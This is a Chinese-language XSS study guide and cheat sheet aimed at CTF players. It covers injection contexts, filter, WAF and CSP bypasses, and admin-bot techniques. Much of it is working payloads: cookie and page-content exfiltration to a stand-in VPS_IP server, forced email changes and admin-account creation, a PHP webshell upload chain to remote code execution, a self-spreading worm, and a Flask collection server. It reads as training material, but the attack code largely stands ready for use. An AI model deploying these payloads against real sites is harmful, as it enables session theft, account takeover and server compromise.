

XSS

目录

- 第一章 基础原理
 - 1.1 HTML 解析与标签语法
 - 1.2 JavaScript 执行基础
 - 1.3 浏览器同源策略与 XSS 的关系
- 第二章 XSS 三大类型
 - 2.1 反射型 XSS
 - 2.2 存储型 XSS
 - 2.3 DOM 型 XSS
- 第三章 注入点与 Payload 构造
 - 3.1 HTML 标签环境
 - 3.2 HTML 属性环境
 - 3.3 JavaScript 字符串环境
 - 3.4 URL / 协议环境
- 第四章 过滤与 WAF 绕过
 - 4.1 大小写与关键字变形
 - 4.2 编码绕过
 - 4.3 标签替代绕过（无 script）
 - 4.4 关键字拆分与替代执行
 - 4.5 长度限制/黑名单综合绕过
- 第五章 高级利用链
 - 5.1 Cookie 与 Session 窃取
 - 5.2 XSS + CSRF 组合攻击
 - 5.3 XSS + 文件上传 → RCE
 - 5.4 XSS 蠕虫原理

- 第六章 CSP 绕过
 - 6.1 CSP 语法与限制原理
 - 6.2 CSP 绕过实战技术
 - 第七章 CTF 常见题型与解题套路
 - 7.1 简单反射型
 - 7.2 过滤 script 标签
 - 7.3 WAF 综合绕过
 - 7.4 Admin Bot 型（盲打后台）
 - 7.5 DOM XSS 代码审计
 - 第八章 工具使用
 - 8.1 Burp Suite
 - 8.2 浏览器 DevTools
 - 8.3 XSS 平台搭建与外带数据
 - 第九章 练习路线与靶场
 - 速查: Payload 总表
-

第一章 基础原理

1.1 HTML 解析与标签语法

语法基础

HTML 是标记语言，浏览器按顺序解析文档流：

```
<!DOCTYPE html>
<html>
<body>
  <p>普通文本</p>
  <script>console.log('执行的是JS代码')</script>
</body>
</html>
```

浏览器解析流程（简化）：

字节流 → 分词(Tokenizer) → 构建DOM树 → 构建渲染树 → 渲染

↑
在此阶段识别 `<script>` 等特殊标签

关键标签速记: `<script>` `<img>` `<svg>` `<iframe>` `<body>` `<input>` `<a>` `<video>`
`<audio>` `<details>` `<marquee>`。

网安利用

XSS (Cross-Site Scripting) 的本质: 用户可控的数据被当作 **HTML/JS** 代码解析执行。

最基础的可复现 PoC (要求页面无任何过滤时使用):

```
<script>alert(1)</script>
```

判断是否存在解析执行 (不依赖 `alert` 弹窗, 规避某些沙箱检测):

```
<script>console.log(1)</script>
```

无 JS 执行、仅验证 HTML 注入点是否存在 (用于确认原始 HTML 是否被转义):

```
<b>test</b>
```

若页面渲染出加粗的 `test`, 说明存在 HTML 注入点, 可进一步尝试脚本执行。

1.2 JavaScript 执行基础

语法基础

XSS 攻击的载荷本质是 JavaScript。核心对象:

```
document      // 当前文档对象  
window        // 全局对象  
location      // 当前 URL 信息  
document.cookie // 当前域下的 cookie 字符串  
document.domain // 当前域名
```

基础语法示例：

```
var name = "test";  
function hello(x) { return x + 1; }  
alert(document.cookie);
```

网安利用

在 CTF 中最常用于信息回显 / 数据外带的三个函数：

```
alert(document.cookie)           // 弹窗回显（仅本地验证用，无法远程获取结果）  
console.log(document.cookie)     // 控制台回显（配合截图/复现证明）  
document.location='http://VPS_IP:8000/?c='+document.cookie // 外带  
到自己服务器（CTF 实战常用）
```

实战外带完整 payload（自己起一个 HTTP 服务接收）：

```
<script>new Image().src='http://VPS_IP:8000/?c='+document.cookie;  
</script>
```

本地起监听服务（Python 一行命令）：

```
python3 -m http.server 8000
```

1.3 浏览器同源策略与 XSS 的关系

语法基础

同源策略（Same-Origin Policy, SOP）：协议、域名、端口三者相同才算同源。

```
https://a.com:443/page1  和  
https://a.com:443/page2  → 同源
```

```
https://a.com  和  http://a.com      → 不同源（协议不同）  
https://a.com  和  https://b.a.com   → 不同源（子域不同）
```

网安利用

SOP 本身阻止跨域读取数据（如攻击者网站无法用 `fetch` 读取银行网站的 `cookie`）。

但 XSS 的危害在于：恶意 **JS** 运行在目标域下，因此天然拥有该域的权限，不受 SOP 限制：

```
攻击者构造的 <script> 在受害者浏览器中
运行时的 origin = 目标网站的 origin
    ↓
可直接读取 document.cookie（若无 HttpOnly）
可直接发起同域请求（带上用户身份的 Cookie/Session）
```

验证当前 `payload` 是否运行在目标域（CTF 中常用来确认注入成功且非跨域沙箱）：

```
<script>alert(document.domain)</script>
```

<https://chatgpt.com/share/6a71757f-1d04-83ec-8dae-3be2f8d332bc>

第二章 XSS 三大类型

2.1 反射型 XSS

语法基础

反射型 XSS：输入不经存储，直接被服务器"反射"回页面。

```
用户输入(URL 参数) → 服务端未过滤直接输出 → 浏览器解析执行
```

PHP 端典型漏洞代码：

```
<?php
echo "Hello, " . $_GET['name'];
?>
```

网安利用

访问构造好的链接即可触发：

```
http://target/index.php?name=<script>alert(1)</script>
```

若输出在 HTML 文本节点内，直接使用：

```
<script>alert(document.cookie)</script>
```

CTF 中反射型常见位置及对应可复现 payload：

```
搜索框：      ?keyword=<script>alert(1)</script>
错误页面回显： ?id=abc<script>alert(1)</script>
User-Agent头： User-Agent: <script>alert(1)</script>（需配合存储/日志展示页）
Referer头：    Referer: <script>alert(1)</script>
```

用 Burp 修改请求头触发 UA/Referer 型反射 XSS：

1. 抓包 → Repeater
2. 修改 `User-Agent` 为 `<script>alert(1)</script>`
3. 发送请求，若响应页面 / 后台管理页面渲染了该值，则触发

2.2 存储型 XSS

语法基础

存储型 XSS：payload 被持久化存储（数据库/文件），每次页面渲染时都会触发。

```
攻击者提交数据 → 服务端存入DB（未过滤） → 任意用户访问该页面 → 读取DB并渲染 → 触发
```

PHP 端典型漏洞代码：

```
<?php
// 存储
$stmt = $pdo->prepare("INSERT INTO comments (content) VALUES (?)");
$stmt->execute([$POST['content']]);

// 展示（未转义）
echo $row['content'];
?>
```

网安利用

在留言板/评论/昵称等输入框直接提交：

```
<script>alert(document.cookie)</script>
```

典型场景与复现 payload:

昵称/用户名字段：	修改昵称为
评论/留言内容：	<script>alert(document.cookie)</script>
个人简介/签名：	<svg onload=alert(1)>
文件名（上传）：	命名文件为 "><script>alert(1)</script>.jpg

管理员查看后台触发的实战外带 payload（存储型经典打法，配合 admin bot）：

```
<script>
fetch('http://VPS_IP:8000/steal?cookie=' +
encodeURIComponent(document.cookie))
</script>
```

2.3 DOM 型 XSS

语法基础

DOM 型 XSS 的特点：服务端不参与，纯前端 JS 读取用户可控数据并写入危险的 DOM Sink。

URL/输入 → 前端JS(Source) → 危险函数处理(Sink) → 执行

常见 **Source**（数据来源）：

```
location.hash  
location.search  
location.href  
document.referrer  
window.name
```

常见 **Sink**（危险执行点）：

```
document.write()  
innerHTML / outerHTML  
eval()  
setTimeout(str) / setInterval(str)  
element.src / element.href（可注入 javascript: 伪协议）
```

网安利用

<https://chatgpt.com/share/6a718f61-c440-83ec-88d8-bcab62552ed>

典型漏洞代码：

```
// Source: location.hash   Sink: document.write  
document.write(location.hash.substring(1));
```

对应触发 payload（URL 中的 # 部分不会发送到服务器，纯前端处理）：

```
http://target/page.html#<img src=x onerror=alert(1)>
```

innerHTML 型漏洞代码：

```
document.getElementById('output').innerHTML =  
decodeURIComponent(location.search.split('=')[1]);
```

触发:

```
http://target/page.html?msg=<img src=x  
onerror=alert(document.cookie)>
```

`eval` 型（常见于前端路由/模板引擎场景）:

```
eval(location.hash.slice(1));
```

触发:

```
http://target/page.html#alert(document.cookie)
```

审计方法：全局搜索源码中的 **Sink** 关键词，反向追踪其数据来源是否为用户可控:

```
grep -rn  
"innerHTML\|document.write\|eval(\|setTimeout(\|setInterval(" ./src
```

第三章 注入点与 **Payload** 构造

3.1 HTML 标签环境

语法基础

当用户输入被拼接在两个标签之间的文本节点位置:

```
<div>  
  用户输入在这里  
</div>
```

网安利用

直接闭合插入新标签:

```
<script>alert(1)</script>
```

若 `<script>` 被过滤，使用事件属性型标签（见第四章详细绕过）：

```
<img src=x onerror=alert(1)>  
<svg onload=alert(1)>
```

若输入点在 `<textarea>`、`<title>`、`<xmp>`、`<noscript>` 等特殊文本标签内（内容按纯文本解析），需要先闭合标签本身：

```
</textarea><script>alert(1)</script>  
</title><script>alert(1)</script>
```

3.2 HTML 属性环境

语法基础

用户输入被拼接进标签的属性值中：

```
<input value="用户输入">
```

网安利用

双引号闭合：

```
" onfocus=autofocus onfocus=alert(1) x="
```

完整触发效果：

```
<input value="" onfocus=autofocus onfocus=alert(1) x="">
```

单引号闭合（若原属性用单引号）：

```
' onmouseover='alert(1)
```

无引号闭合（属性值无引号包裹时，空格即可闭合）：

```
x onmouseover=alert(1)
```

闭合标签本身再插入新标签（当事件属性被过滤时）：

```
"><script>alert(1)</script>
```

常用自动触发事件（无需用户交互，CTF admin bot 场景首选）：

onload	— 页面/资源加载完成时触发（img/body/svg/iframe）
onerror	— 资源加载失败时触发（img 最常用，因为随便一个 src=x 就会出错）
onfocus	— 元素获得焦点，配合 autofocus 属性自动触发
onmouseover	— 鼠标悬停（需要交互，CTF 中较少用于 bot 场景）

组合速查表：

标签	事件	PAYLOAD
img	onerror	
svg	onload	<svg onload=alert(1)>
body	onload	<body onload=alert(1)>
input	onfocus+autofocus	<input onfocus=alert(1) autofocus>
iframe	onload	<iframe onload=alert(1)>
video	onerror	<video src=x onerror=alert(1)>
details	ontoggle	<details open ontoggle=alert(1)>

3.3 JavaScript 字符串环境

语法基础

用户输入被拼接进 `<script>` 标签内的 JS 字符串变量中：

```
<script>
  var name = "用户输入";
</script>
```

网安利用

闭合字符串并注入语句：

```
";alert(1);//
```

渲染后效果：

```
var name="";alert(1);//";
```

单引号版本：

```
';alert(1);//
```

闭合 `</script>` 标签逃逸出脚本环境（当输入点在字符串中但引号被转义/过滤时的备选方案）：

```
</script><script>alert(1)</script>
```

在模板字符串（反引号）环境中：

```
${alert(1)}
```

不使用分号/依赖表达式上下文（部分场景 **payload** 后面还有代码，需要保证语法正确）：

```
";alert(1);var a="
```

3.4 URL / 协议环境

语法基础

用户输入被拼接进 `href`、`src` 等可接受 URL 的属性中：

```
<a href="用户输入">链接</a>
```

网安利用

利用 `javascript:` 伪协议：

```
javascript:alert(1)
```

完整闭合示例（若无法闭合引号，直接控制整个 `href` 值）：

```
<a href="javascript:alert(1)">点击</a>
```

`data:` 协议在某些 sink（如 `iframe src`）中的利用：

```
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
```

第四章 过滤与 WAF 绕过

4.1 大小写与关键字变形

语法基础

HTML 标签名和事件属性名大小写不敏感，浏览器解析时会自动归一化。

网安利用

绕过对 `<script>`（全小写精确匹配）的过滤：

```
<ScRiPt>alert(1)</sCriPt>  
<SCRIPT>alert(1)</SCRIPT>
```

绕过对 `onerror/onload` 的大小写过滤：

```
<img src=x OnErRoR=alert(1)>
```

4.2 编码绕过

语法基础

浏览器在不同上下文中会自动解码：**HTML 实体解码**（HTML 解析阶段）、**URL 解码**（发起请求时）、**JS Unicode 转义**（JS 引擎解析时）。

网安利用

HTML 实体编码（用于属性值环境，浏览器解析 HTML 时自动解码后再判断是否为事件）：

```
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
```

十六进制实体：

```
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
```

URL 编码（用于 URL 参数位置，绕过基于原始字符串的 WAF 规则）：

```
%3Cscript%3Ealert(1)%3C%2Fscript%3E
```

双重 URL 编码（部分 WAF 只解码一次，服务端框架解码两次）：

```
%253Cscript%253E
```

JS Unicode 转义（用于已经在 `<script>` 上下文内，绕过对函数名字符串的匹配）：

```
\u0061ler(1)
```

JS 十六进制/八进制转义：

```
\x61ler(1)  
eval('\141ler(1)')
```

String.fromCharCode 动态构造（绕过静态关键字扫描，是 CTF 高频手法）：

```
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
```

`String.fromCharCode()` 里的数字来自 字符的 **Unicode** 编码（**ASCII** 是 **Unicode** 的子集）。

4.3 标签替代绕过（无 script）

语法基础

除 `<script>` 外，几乎所有能触发 JS 事件处理器的标签都可以执行代码；此外某些标签的默认属性（如 `<img>` 的 `src`）不填也会主动触发 `error` 事件。

网安利用

```
<img src=x onerror=alert(1)>  
<svg onload=alert(1)>  
<body onload=alert(1)>  
<iframe src=javascript:alert(1)>  
<input onfocus=alert(1) autofocus>  
<select onfocus=alert(1) autofocus><option>1</option></select>  
<textarea onfocus=alert(1) autofocus></textarea>  
<marquee onstart=alert(1)>xss</marquee>  
<details open ontoggle=alert(1)>  
<video><source onerror=alert(1)>  
<audio src=x onerror=alert(1)>  
<object data=javascript:alert(1)>
```

若尖括号 `< >` 本身被过滤/转义，说明只能在已有标签的属性内利用，参考 3.2 属性环境闭合。

4.4 关键字拆分与替代执行

语法基础

JS 支持通过字符串拼接、数组下标、方括号属性访问等方式动态构造函数名再调用，语义上等价于直接书写函数名。

网安利用

绕过对 `alert` 关键字的黑名单：

```
alert(1) -> window['al'+ 'ert'](1)
top['alert'](1) // 同上
self['alert'](1)
this['alert'](1)
```

用 `window[...]` 动态取值 + 数组拼接彻底避免出现明文 `alert`：

```
window[String.fromCharCode(97,108,101,114,116)](1)
```

绕过对括号 `()` 的过滤（用于调用被过滤的场景，模板字符串标签调用语法）：

```
alert`1`
```

绕过对 `.`（点号）本身被过滤的情况（使用可选链/方括号写法）：

```
window['document']['cookie']
```

绕过对 `document.cookie` 关键字过滤：

```
eval('doc'+ 'ument.cookie')
```

绕过 `eval` 关键字过滤，使用等价 Sink：

```
setTimeout('alert(1)')
Function('alert(1)')()
[][ 'constructor' ][ 'constructor' ]('alert(1)')()
```

`[][ 'constructor' ][ 'constructor' ](...)` 等价于 `Function` 构造器，是绕过对 `eval/Function` 关键字直接过滤时的经典逃逸手法，常配合模板注入类题目使用。

4.5 长度限制/黑名单综合绕过

语法基础

CTF 题目常同时施加：长度限制（如 `payload ≤ 20` 字符）+ 关键字黑名单（禁止 `< > ( )` 空格等）。

网安利用

极短 **payload**（配合已有输入点，仅需触发执行）：

```
<svg onload=alert(1)>
```

（24 字符，若限制更短可考虑复用页面已有 JS 变量或函数替代 `alert`）

用逗号/反引号代替空格分隔属性（绕过空格过滤）：

```
<svg/onload=alert(1)>
```

（用 `/` 代替空格作为标签内分隔符，浏览器可正常解析）

用反引号代替括号调用函数：

```
<svg onload=alert`1`>
```

综合示例：假设过滤了 `alert`、空格、括号：

```
<svg/onload=top['a1'+'ert']`1`>
```

Tab/换行代替空格（部分正则只匹配普通空格 `\x20`）：

```
<svg%09onload=alert(1)>
```

（`%09` 为 Tab 的 URL 编码，浏览器解析 HTML 属性时将 Tab 视为分隔符）

第五章 高级利用链

5.1 Cookie 与 Session 窃取

语法基础

`document.cookie` 返回当前域下非 **HttpOnly** 的 cookie 字符串；若关键 cookie（如 session）设置了 **HttpOnly**，JS 无法读取。

```
document.cookie // "PHPSESSID=abc123; theme=dark"
```

网安利用

可读取场景：直接外带完整 cookie 到自己的服务器：

```
<script>
new Image().src = 'http://VPS_IP:8000/steal?c=' +
encodeURIComponent(document.cookie);
</script>
```

自己起监听并查看日志：

```
python3 -m http.server 8000
# 或使用 nc 监听
nc -lvp 8000
```

拿到 cookie 后用浏览器插件（如 EditThisCookie）或 Burp 直接替换请求头中的 `cookie` 完成会话劫持：

```
Cookie: PHPSESSID=abc123
```

HttpOnly 场景下的替代思路：既然无法读 cookie，就直接借用受害者浏览器发起带身份的请求（见 5.2 XSS+CSRF），或利用 XSS 直接操作页面完成敏感操作，而不需要窃取 cookie 本身。

5.2 XSS + CSRF 组合攻击

语法基础

CSRF 依赖受害者浏览器自动携带 Cookie 发起请求；XSS 使攻击者的 JS 运行在受害者已登录的页面上下文中，天然具备发起同域请求的能力，比传统 CSRF 更强（不受 `SameSite` 限制，因为请求就是从目标站点自身发出）。

网安利用

修改邮箱（假设后台存在 `/user/update_email` 接口）：

```
<script>
fetch('/user/update_email', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'email=attacker@evil.com',
  credentials: 'include'
});
</script>
```

添加管理员账号（后台管理场景，admin bot 触发）：

```
<script>
fetch('/admin/add_user', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({username: 'hacker', password: '123456',
role: 'admin'}),
  credentials: 'include'
});
</script>
```

利用 **CSRF Token** 泄露（若 token 在页面 HTML 中可读，先 GET 页面拿 token 再发起请求）：

```
<script>
fetch('/settings', {credentials: 'include'})
  .then(r => r.text())
  .then(html => {
    let token = html.match(/csrf_token" value="([a-f0-9]+)/)[1];
    return fetch('/user/update_email', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: 'email=attacker@evil.com&csrf_token='+token,
      credentials: 'include'
    });
  });
</script>
```

5.3 XSS + 文件上传 → RCE

语法基础

若管理后台存在文件上传功能，且管理员账号是唯一能访问的账号，XSS 打管理员 + 自动化上传请求即可组合成 RCE 利用链。

XSS触发(以管理员身份运行JS)

↓

JS发起带身份的上传请求

↓

上传 `webshell` 到后台

↓

访问 `webshell` 路径 → RCE

网安利用

```
<script>
var formData = new FormData();
var blob = new Blob(['<?php system($_GET["cmd"]); ?>'],
{type: 'image/jpeg'});
formData.append('file', blob, 'shell.php.jpg');

fetch('/admin/upload', {
  method: 'POST',
  body: formData,
  credentials: 'include'
}).then(r => r.text()).then(data => {
  fetch('http://VPS_IP:8000/log?d=' + encodeURIComponent(data));
});
</script>
```

后续访问外带回的路径完成命令执行:

```
http://target/uploads/shell.php.jpg?cmd=id
```

(实际文件名/解析绕过需结合具体上传点漏洞, 参考 PHP 上传绕过笔记)

5.4 XSS 蠕虫原理

语法基础

XSS 蠕虫：payload 中包含"自我复制"逻辑——执行时不仅完成攻击目的，还会读取当前用户上下文并将自身重新发布/存储，感染下一个查看者。历史案例：2005 年 MySpace Samy Worm。

网安利用（原理性复现，仅限自己搭建的靶场测试）

假设存在存储型注入点（如个人签名字段可被好友查看，且提交接口为 `/profile/update`）：

```
<script>
var payload = document.querySelector('script[data-
worm]').outerHTML;
fetch('/profile/update', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'signature=' + encodeURIComponent(payload),
  credentials: 'include'
});
</script>
```

关键点：payload 通过 `outerHTML` 读取自身的完整 HTML，再把自己重新写入当前登录用户的可存储字段中，实现每个查看者都会把蠕虫传播给他们各自的关注者/好友。

该技术

第六章 CSP 绕过

6.1 CSP 语法与限制原理

语法基础

CSP（Content Security Policy）通过响应头限制页面可执行的资源来源：

```
Content-Security-Policy: script-src 'self'
```

含义：只允许执行同源的外部脚本文件，禁止内联 `<script>` 和 `onerror` 等事件属性执行。

常见指令：

```
default-src 'self'          // 默认策略
script-src 'self'           // 脚本来源限制
script-src 'unsafe-inline'  // 允许内联脚本（不安全配置）
script-src 'nonce-xxxxx'    // 只允许带指定 nonce 的 script 执行
object-src 'none'           // 禁止 object/embed
```

网安利用（判断当前 **CSP** 配置）

查看响应头：

```
curl -sI http://target/ | grep -i content-security-policy
```

或在浏览器 **Console** 中直接看到被拦截的报错信息（会明确提示被拦截的指令）。

6.2 CSP 绕过实战技术

语法基础 → 网安利用

配置存在 `'unsafe-inline'`：CSP 形同虚设，直接用第三、四章的标准 payload：

```
<script>alert(1)</script>
```

存在 `script-src 'self'` 但站内有可控 **JSONP** 接口（利用同源的 JSONP 端点加载任意回调）：

```
<script src="/api/jsonp?callback=alert"></script>
```

站内允许的 **CDN** 域名中存在可被利用的 **"script gadget"**（如允许 `https://ajax.googleapis.com`，可加载已知含有危险 `eval` 逻辑的旧版 JS 库）：

```
<script  
src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.  
js"></script>  
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>
```

（利用旧版 AngularJS 沙箱逃逸，属于经典 CSP bypass 案例，仅适用于 CSP 允许该 CDN 域名时）

Nonce 被固定复用（若页面源码中 nonce 值被硬编码而非每次请求随机生成，直接复制该 nonce 使用）：

```
<script nonce="从页面源码中复制到的真实nonce值">alert(1)</script>
```

站内存在允许的 **data:** 或宽松的 **object-src:**

```
<object data="data:text/html,<script>alert(1)</script>"></object>
```

利用 **Base** 标签劫持相对路径资源（若 CSP 未限制 **base-uri**，且页面存在加载相对路径脚本的逻辑，可劫持到攻击者域名再配合允许的 **script-src** 通配）：

```
<base href="http://evil.com/">
```

第七章 CTF 常见题型与解题套路

7.1 简单反射型

考点：标签闭合、**<script>** 直接执行。

标准解法：

GET 参数直接尝试：

```
?xss=<script>alert(1)</script>
```

若被 **htmlspecialchars** 转义，检查是否有其他未过滤参数

7.2 过滤 script 标签

考点: `<img>/<svg>` + 事件属性替代。

标准解法:

```
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
```

若 `on` 前缀被过滤, 尝试大小写/双写:

```
<img src=x onOnerrorerror=alert(1)>
```

(双写绕过示例: 过滤逻辑仅执行一次字符串替换 `onerror` → ```, 删除中间的 `onerror` 后剩余部分拼接成完整的 `onerror``)

7.3 WAF 综合绕过

考点: 编码 + 拼接 + 大小写 + 双写的组合使用, 参考第四章全部技术。

推荐测试顺序 (从简单到复杂逐步升级):

1. 直接payload:	<code><script>alert(1)</script></code>
2. 大小写:	<code><ScRiPt>alert(1)</sCriPt></code>
3. 标签替代:	<code></code>
4. 双写:	<code><scr<script>ipt>alert(1)</scr</script>ipt></code>
5. 编码:	<code></code>
6. 拼接:	<code></code>
7. 综合:	<code><svg/onload=top[`al` + `ert`] `1` ></code>

7.4 Admin Bot 型（盲打后台）

考点：无法直接看到执行结果，需要通过外带数据的方式获取 flag。

标准流程：

1. 起一个可公网访问的服务器/使用平台提供的 XSS 收集服务
2. 构造外带 payload
3. 提交到题目要求的"提交给管理员查看"接口
4. 等待 admin bot 访问并触发
5. 在自己的服务器日志中查看回传数据

标准外带 payload（获取 cookie）：

```
<script>
document.location = 'http://VPS_IP:8000/?c=' + document.cookie;
</script>
```

获取 flag 在页面文本中的场景（cookie 中无 flag，需读取 admin 才能看到的页面内容）：

```
<script>
fetch('/admin/flag_page', {credentials: 'include'})
  .then(r => r.text())
  .then(html => {
    fetch('http://VPS_IP:8000/?d=' + encodeURIComponent(html));
  });
</script>
```

本地起监听并查看日志：

```
python3 -m http.server 8000
# 访问日志中会打印出请求的完整 query string，即为回传的数据
```

7.5 DOM XSS 代码审计

考点：定位 Source 和 Sink，判断数据流是否可控且未过滤。

审计步骤：

1. 全局搜索危险 Sink：

```
grep -rn "innerHTML\|document.write\|eval(\|location\.\|href\|hash\|search\)" ./src
```
2. 反向追踪该变量的赋值来源，判断是否为用户可控（URL/表单/localStorage）
3. 检查数据流中是否存在编码/过滤函数（如 encodeURIComponent、DOMPurify）
4. 若无过滤，构造对应 payload 触发

参考 2.3 节的三类典型 Source→Sink 组合 payload。

第八章 工具使用

8.1 Burp Suite

核心模块使用（CTF 场景）

- Proxy → 拦截浏览器请求，观察payload如何被处理
- Repeater → 反复修改+发送同一请求，快速测试不同payload变体
- Intruder → 批量测试payload字典（如批量尝试不同标签/事件组合绕过WAF）
- Decoder → 快速进行URL/Base64/HTML实体编解码，构造多层编码payload
- Collaborator → 生成可外带检测的域名，用于盲打场景验证payload是否被执行（不依赖自己搭建服务器）

Collaborator 使用流程：

1. Burp → Collaborator client → 生成一个唯一子域名
 2. 构造payload:
`<script>fetch('http://xxxx.burpcollaborator.net/'+document.cookie)`
`</script>`
 3. 提交payload
 4. 回到Collaborator client点击"poll now"查看是否收到DNS/HTTP请求
-

8.2 浏览器 DevTools

F12 常用面板（**CTF** 排查用途）

Elements → 实时查看DOM结构，确认payload注入位置及是否被转义
Console → 直接执行JS验证思路，查看报错信息（尤其CSP拦截提示）
Network → 查看请求/响应头（确认CSP、Cookie的HttpOnly/Secure属性）
Sources → 阅读前端JS源码，定位DOM型XSS的Source→Sink

快速检查 Cookie 属性（判断是否可通过 JS 读取）：

Application面板 → **Cookies** → 查看 **HttpOnly** 列是否勾选

8.3 XSS 平台搭建与外带数据

语法基础

XSS 平台的核心原理：payload 执行后向平台服务器发起请求，平台记录请求参数（即为窃取到的数据），并提供管理界面查看。

网安利用（最简自建版本）

用 Python Flask 快速自建一个接收平台：

```
from flask import Flask, request
app = Flask(__name__)

@app.route('/log')
def log():
    data = request.args.get('d', '')
    with open('log.txt', 'a') as f:
        f.write(data + '\n')
    return 'ok'

app.run(host='0.0.0.0', port=8000)
```

对应 payload:

```
<script>
fetch('http://VPS_IP:8000/log?d=' +
encodeURIComponent(document.cookie));
</script>
```

查看接收到的数据:

```
tail -f log.txt
```

速查: Payload 总表

```
# 基础触发
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>

# 属性闭合
```

```

" onfocus=alert(1) autofocus x="
' onmouseover='alert(1)
"><script>alert(1)</script>

# JS字符串闭合
";alert(1);//
';alert(1);//
</script><script>alert(1)</script>

# 大小写/双写绕过
<ScRiPt>alert(1)</sCriPt>
<scr<script>ipt>alert(1)</scr</script>ipt>

# 编码绕过
<img src=x onerror=&#97;lert(1)>
%3Cscript%3Ealert(1)%3C%2Fscript%3E
\u0061lert(1)

# 关键字拆分绕过
window['al'+ 'ert'](1)
top[ `a` + `ert` ] `1`
[][ 'constructor' ][ 'constructor' ] ( 'alert(1)' ) ()

# 空格过滤绕过
<svg/onload=alert(1)>
<svg%09onload=alert(1)>

# Cookie外带
<script>new Image().src='http://VPS_IP:8000/?c='+document.cookie;
</script>

# CSRF结合（修改数据）
<script>fetch('/api/xxx',
{method: 'POST', body: 'x=y', credentials: 'include'})</script>

```

!!! 输入标签测试 出现标签的地方即为可控点

寻找输入后 源代码没输出的字符 如双引号单引号 两边闭合

用其他标签时尖括号也要闭合 "> click this

`fetch("URL")` 发送请求 但是 `fetch` 返回的是一个 **Promise**，不是直接返回响应内容。`.then`（）得到结果

```
fetch("/user")  
  .then(response => {  
    console.log(response)  
  })
```